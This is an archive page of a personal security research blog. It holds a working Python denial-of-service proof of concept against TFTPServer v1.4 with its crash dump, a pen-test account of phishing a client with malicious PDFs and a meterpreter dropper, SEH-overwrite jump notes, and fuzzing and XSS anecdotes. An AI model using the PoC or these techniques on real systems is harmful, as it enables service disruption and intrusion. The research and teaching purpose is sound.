TFTPServer v1.4 DOS POC

Posted by Eric | Code, POC, Vulnerabilities, exploits | Tuesday 23 December 2008 12:15 am

Running out of time to play with this bug, still need to pack for my flight early tmw morning. Code at the bottom results in a DOS. I fiddled a little with the POC but throwing that much data at it does not seem to do anything, almost as if the program is just dropping it. It’s also possible my VM’s are screwed up! Meh, I’m heading to a warmer climate! Peace out!

msvcrt.dll:77c483b7 mov ah,[edi] from thread 340 caused access violation
when attempting to read from 0x41414141
 
CONTEXT DUMP
  EIP: 77c483b7 mov ah,[edi]
  EAX: 77c5f76e (2009462638) -> N/A
  EBX: 77c5f7a0 (2009462688) -> N/A
  ECX: 77c33493 (2009281683) -> N/A
  EDX: 77c61b18 (2009471768) -> N/A
  EDI: 41414141 (1094795585) -> N/A
  ESI: 00409243 (   4231747) -> N/A
  EBP: 00aef788 (  11466632) -> N/A
  ESP: 00aef77c (  11466620) -> w'=$}bwAAAAB@dz@AAAAB@<.@AAAAB@TdX.|t (stack)
  +00: 77c5f7a0 (2009462688) -> N/A
  +04: 003d27d0 (   4007888) -> Tl @wwos===C:\WINDOWSE" (heap)
  +08: 0024bc80 (   2407552) -> $Tq CKM@c$ (heap)
  +0c: 00aef7a0 (  11466656) -> dz@AAAAB@<.@AAAAB@TdX.|t (stack)
  +10: 77c4627d (2009358973) -> N/A
  +14: 41414141 (1094795585) -> N/A
 
disasm around:
	0x77c483a4 push esi
	0x77c483a5 push ebx
	0x77c483a6 mov esi,[ebp+0xc]
	0x77c483a9 mov edi,[ebp+0x8]
	0x77c483ac mov al,0xff
	0x77c483ae mov edi,edi
	0x77c483b0 or al,al
	0x77c483b2 jz 0x77c483e2
	0x77c483b4 mov al,[esi]
	0x77c483b6 inc esi
	0x77c483b7 mov ah,[edi]
	0x77c483b9 inc edi
	0x77c483ba cmp ah,al
	0x77c483bc jz 0x77c483b0
	0x77c483be sub al,0x41
	0x77c483c0 cmp al,0x1a
	0x77c483c2 sbb cl,cl
	0x77c483c4 and cl,0x20
	0x77c483c7 add al,cl
	0x77c483c9 add al,0x41
	0x77c483cb xchg al,ah
#/usr/bin/env python
 
import socket,sys
 
host = sys.argv[1]
port = 69
 
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.connect((host,port))
 
data  = "\x00\x01" #  1     Read request (RRQ)
data += "A" * 242 #overwrite EDI
data += "B" * 4 # EDI VALUE
data += "\x00"
data += "\x6e\x65\x74\x61\x73\x63\x69\x69\x00" #tftp protocol trailing crap mostly to make wireshark happy
sock.sendall(data)

Ruby not Playing well with Metasploit

Posted by Eric | Vulnerabilities, pen testing | Saturday 27 September 2008 3:04 pm

A few days late on the metasploit blog post update. A recent Pen test bought about some great headaches for me as I encountered all sorts of issues with the 3.1 framework. According to HD updates to ruby have broken the ability to use short name constants which are littered throughout the framework. Some of the things I experienced were issues with backgrounding sessions, exiting back to meterpreter after executing a cmd shell on a system. 95% of my meterpreter scripts failed with similar errors that are displayed on the metasploit blog post. This resulted in me having to go back to hand jamming quite a few of my normal tasks after obtaining initial access. What made it even more of a pain in the ass was the fact that the backgrounding sessions interfered with my ability to create a route into the private network through the established session. For one reason or another it was a 50% chance I’d lose my sessions if I attempted to background it. In many instances I would lose visualization of what I typed. So every time I tried to background a sessions and start typing I’d get nothing showing up. This created the headache of me having to type very slowly to make sure what I wanted to execute was actually going to the shell. The route issue caused me to have to go back to my main stock pile of exploits for things like PNP, and MS06-040. Uploading the binaries and executing them from within the initial compromised host. It’s sad because I think I’ve been spoiled by metasploit and the meterpreter shell :/

The Pen test still went off well, despite the issues with meterpreter and the framework in general. We also had a very broad scope and a tight time frame. Scope creep is a bitch, watch out for it! The customer tried to switch things up on us in the middle of the pen test but we stood our ground. After all, we only had 50 hours to get everything done and what was being asked was just impossible. All in all it was expected that the perimeter would be clean, quite a few DMZ’s are! We didn’t find any vulnerabilities from the outside but man… They opened up damn near every PDF we sent them, along with quite a few visiting the website we set up that included a nice Malware dropper which downloaded and executed the meterpreter shell in EXE form. The sad part is, during testing almost everything was caught on my “secure” victim machine. The Anti Virus caught the dropper, caught the meterpreter executable. Thanks to MC though with his Ninja type skillz the PDF was pretty much transparent to EVERYTHING! You should have seen it though, after we sent out the spoofed emails shells started flying in. We realized really quick that we needed to change up the payload from a reverse TCP shell to a meterpreter shell due to Policy issues restricting the CMD shell to be spawned. Of course we resent the email saying “The PDF was blank and the website was broken, sorry please open these instead.” BAM! 50 meterpreter shells in the first hour! What’s even worse though, is two day’s after the phishing attempt we still had shells connecting back to us.

Recommendation:

Anti virus and user awareness training is definitely needed!

Damn thought I had one.

Posted by Eric | Fuzzing, Research, Vulnerabilities | Tuesday 15 April 2008 8:43 am

<meta content="OpenOffice.org 2.0 (Linux)" name="GENERATOR" /><meta content="20080415;7265400" name="CREATED" /><meta content="16010101;0" name="CHANGED" /><br /> <style> <!-- @page { size: 8.5in 11in; margin: 0.79in } P { margin-bottom: 0.08in } --> </style> <p style="margin-bottom: 0in">Been busy running around lately, and now the mother in law and family is in town, theoretically the wife will be occupied with that. I created a pop3 request for Sulley and I’ve been back tracking and hitting the pop3 service on a few of the Mail servers that I have downloaded and hit with the SMTP requests. Last week I discovered a weird bug that seemed random at best and after a while of getting frustrated I asked MC for an assist. MC Tracked down the bug despite not being able to get it to crash. Turned out there was already an advisory on it, and it was an incorrect handling of connections. Basically the Application (baby pop3) was not handling multiple connections from the same host correctly and would result in a crash. On the vendors website there were quite a few other applications in this baby series and I’m pretty sure they are using the same template for code because I was able to get the web server to crash also.</p> <p style="margin-bottom: 0in"> <p style="margin-bottom: 0in">Last night I discovered an XSS bug in a vendor site. I actually completely stumbled on it. I was messing with a mail server, browsing around and looking for inputs (this thing opens about 12 ports upon install) and I came across the web application on port 7026. Most of the pages required authentication, but the help pages didn’t. Within the Help index there was a search box for “on line search.” When you put Javascript into the search box and hit enter, you are taken to the vendors site (shown your alert text box) and then get some errors on search string not found. I kicked off an email to the vendor and they responded back in like 15 minutes, but have yet to ACK FIN saying it was fixed.</p> <p style="margin-bottom: 0in"> <p style="margin-bottom: 0in">I continue hitting up that same application, It’s got an smtp, a pop3 and about 4 web interfaces. I noticed that the webmail is actually accessible via a path that leads to webmail.exe?cmd= . Currently fuzzing the admin.cgi ones, but I plan to start fuzzing the webmail.exe input this evening when I get home.</p> <p style="margin-bottom: 0in"> <p style="margin-bottom: 0in">I need to start working on a short presentation for AHA! I’m debating on talking about the Fuzzing ( a lot of those guys work for dvlabs so I dunno) or I can talk about embedded debugging. On one hand, If i talk about fuzzing, I can segway that into the question of “How can I analyze these crashes better” because the scripts with sulley haven’t been working out for me. Or the “Has anyone done any Fuzzing on embedded systems, and if so how did you go about analyzing the crash.” On the other hand, I can just go straight into Embedded debugging and ask that question anyway. Of course I still need a few hundred bucks from Dean to sponsor more research….</p> <p style="margin-bottom: 0in"> <p style="margin-bottom: 0in"> <p style="margin-bottom: 0in">Thanks again to MC for checking out that bug.</p> <p style="margin-bottom: 0in"> </div> <div class="feedback"> <a href="http://hamsterswheel.com/techblog/?p=60#respond" title="Comment on Damn thought I had one.">Comments (0)</a> </div> </div> <div class="post"> <h2 id="post-30"><a href="http://hamsterswheel.com/techblog/?p=30" rel="bookmark">Lighttpd</a></h2> <div class="meta">Posted by Eric | <a href="http://hamsterswheel.com/techblog/?cat=9" title="View all posts in Vulnerabilities" rel="category">Vulnerabilities</a> | Saturday 29 September 2007 12:46 am </div> <div class="storycontent"> <p>So yesterday I spotted a <a href="http://seclists.org/bugtraq/2007/Sep/0386.html">Buffer overflow</a> pop up on bugtraq under a Gentoo Security advisory. i figured I’d give it a look. Digging deeping, I followed the CVE which pointed out the overflow was in the Content-Length header field. I tell you what, I’m not sure what’s harder. Getting mod_fastcgi to work correctly, or finding documentation on it that’s worth anything. At anyrate, It’s causing me deep vexation, and I’m on vacation so I should not be vexed!</p> <p>In case any reader hasn’t figured it out, I’m done with those stupid ass honeypots! But I have found an interest in anti forensics from it!</p> </div> <div class="feedback"> <a href="http://hamsterswheel.com/techblog/?p=30#respond" title="Comment on Lighttpd">Comments (0)</a> </div> </div> <div class="post"> <h2 id="post-22"><a href="http://hamsterswheel.com/techblog/?p=22" rel="bookmark">SEH Overwrite JMPS</a></h2> <div class="meta">Posted by Eric | <a href="http://hamsterswheel.com/techblog/?cat=9" title="View all posts in Vulnerabilities" rel="category">Vulnerabilities</a>, <a href="http://hamsterswheel.com/techblog/?cat=10" title="View all posts in exploits" rel="category">exploits</a> | Saturday 28 July 2007 5:58 pm </div> <div class="storycontent"> <p>A few weeks ago I started taking a stab at an Active X exploit in Enjoy SAPGui that I saw on FD. MC found the software and had me download; he wanted to 0wn it at work. We have a plethora of old dell laptops which actually make great victims but I think his is getting old. He was having some CRC errors when trying to extract the installation files from the 600 mb rar file. He passed it off to me and went to lunch! I extracted it and re read the advisory and figured since it was a stack overflow so it would be straight forward. So, I fuzz it using ComRaider in order to find the exact spot it breaks and then start crafting my POC which I completely ripped the template from MC. Using the create_pattern within the REX API from Metasploit 3.0 I find my offset and start going to work. After about an hour of tinkering with it and getting discouraged I discovered it wasn’t going to be as easy or as forgiving as I had hoped. As it would turn out, it required me to overwrite the structured exception handler… Shit, I knew of this but not how to do it. MC quickly hacked out the missing components and pushed out the module. Fortunately I was able to analyze what he did and ask a few questions. In typical fashion MC didn’t answer my questions but he guided me in a topic for research later that evening.</p> <p>If you’re unfamiliar with Structured Exception Handlers, or their exploitation you can learn a lot by checking out the following article. Alternatively, Uninformed journal has an excellent paper on preventing s eh overwrites. The paper has an excellent intro to structured exception handlers.</p> <p>http://www.microsoft.com/msj/0197/Exception/Exception.aspx</p> <p>So what exactly is the structured exception handler? I think the definition in the shellcoders handbook was the best definition “An exception handler is a piece of code that deals with problems that arise when something goes wrong within a running process.” When something goes bad, e.g. an exception occurs, the exception handler is used to handle it. The exception handler in a structure on the stack and is basically a linked list. Then the exception occurs, the linked list is walked until a suitable handler is found. In the event a handler is not locate the thread or process is terminated. This is why if you are fuzzing an active x controller and send it 1000 “\x41’s” and it overflows at 800, internet explorer crashes! This works well for a Denial of Service code, but isn’t very effective if we want remote code execution.</p> <p>As those who were paying attention will notice, the exception handler is loaded on the stack at thread startup. When we overflow our programs buffer and end up with a stack overflow we also overflow the exception handler. Basically our stack window in OLLY will look like this (minus the shortjmp code and the jmb ebx address which will we get into momentarily)</p> <p><img src="http://hamsterswheel.com/pictures/sehover.jpg" /></p> <p>Currently The data in the “Pointer to next S EH record is our EXCEPTION_REGISTRATION and the “SE HANDLER” is where the address our EXCEPTION_REGISTRATION IS Pointed. EBX points to our EXCEPTION_REGISTRATION structure. What we need now is an address that contains a JMP or CALL EBX. When we CALL or JMP into EBX, we go right into our “SE Handler” and if we don’t handle that correctly the thread is terminated. What we need to do is place a JMP instruction. This will JMP over our “SE Handler” and into our shell code. In the particular exploit I was playing with MC used \xeb\x06 + \x90\x90. I had seen this done before and used before but I never fully understood what it all was doing. This compelled me to do research and then write a paper, and subsequently this blog.</p> <p>My research bought me to a few websites, as well as the shell coder’s handbook. The first website I encountered was: http://mirror.href.com/thestarman/asm/2bytejumps.htm The website was great in breaking everthing out for me about relative jumps. Basically what I needed to get out of it was relative jumps (also known as short jumps) always have the first byte EB and the second is a relative offset 00h to 7FH is a forward jump and 80h to Ffh is for a backward jump. If your overwrite keeps overwriting the stack well past the exception handler structure you can simply write your shellcode in after handler overflow and jump forward to it. In the event you don’t have room, you will need to jump back! So, that took care of the Jumps. I hope I broke some stuff down to better understandings. I’m a horrible writer, but researching the issue definitely helped me understand it better!</p> </div> <div class="feedback"> <a href="http://hamsterswheel.com/techblog/?p=22#comments" title="Comment on SEH Overwrite JMPS">Comments (2)</a> </div> </div> <div class="post"> <h2 id="post-15"><a href="http://hamsterswheel.com/techblog/?p=15" rel="bookmark">Idq / Code Red wierdness</a></h2> <div class="meta">Posted by Eric | <a href="http://hamsterswheel.com/techblog/?cat=9" title="View all posts in Vulnerabilities" rel="category">Vulnerabilities</a>, <a href="http://hamsterswheel.com/techblog/?cat=8" title="View all posts in Web - Security" rel="category">Web - Security</a>, <a href="http://hamsterswheel.com/techblog/?cat=10" title="View all posts in exploits" rel="category">exploits</a> | Tuesday 14 November 2006 9:53 pm </div> <div class="storycontent"> <p>On a recent pen test I encountered a wierd thing. I discovered a code red vulnerability on a web server using a custom scanner that I modified from source. The check for code red sends the GET /x.ida (220 A’s) =x HTTP/1.0\r\n\r\n and checks for the string “c0000005″ in the return.</p> <p>So, my app shows:</p> <p> <a href="http://hamsterswheel.com/techblog/?p=15#more-15" class="more-link">(more…)</a></p> </div> <div class="feedback"> <a href="http://hamsterswheel.com/techblog/?p=15#comments" title="Comment on Idq / Code Red wierdness">Comments (3)</a> </div> </div> </div> <div id="footer"> © Copyright 2009 | <a href="http://hamsterswheel.com/techblog">Phn1x – Hamsterswheel</a> | Theme by <a href="http://clubparexcellancetech.com/">Club Par Excellance</a> | All Rights Reserved | Sponsored by <a href="http://www.voipkit.ca/">VoIP</a> </div> </body> </html>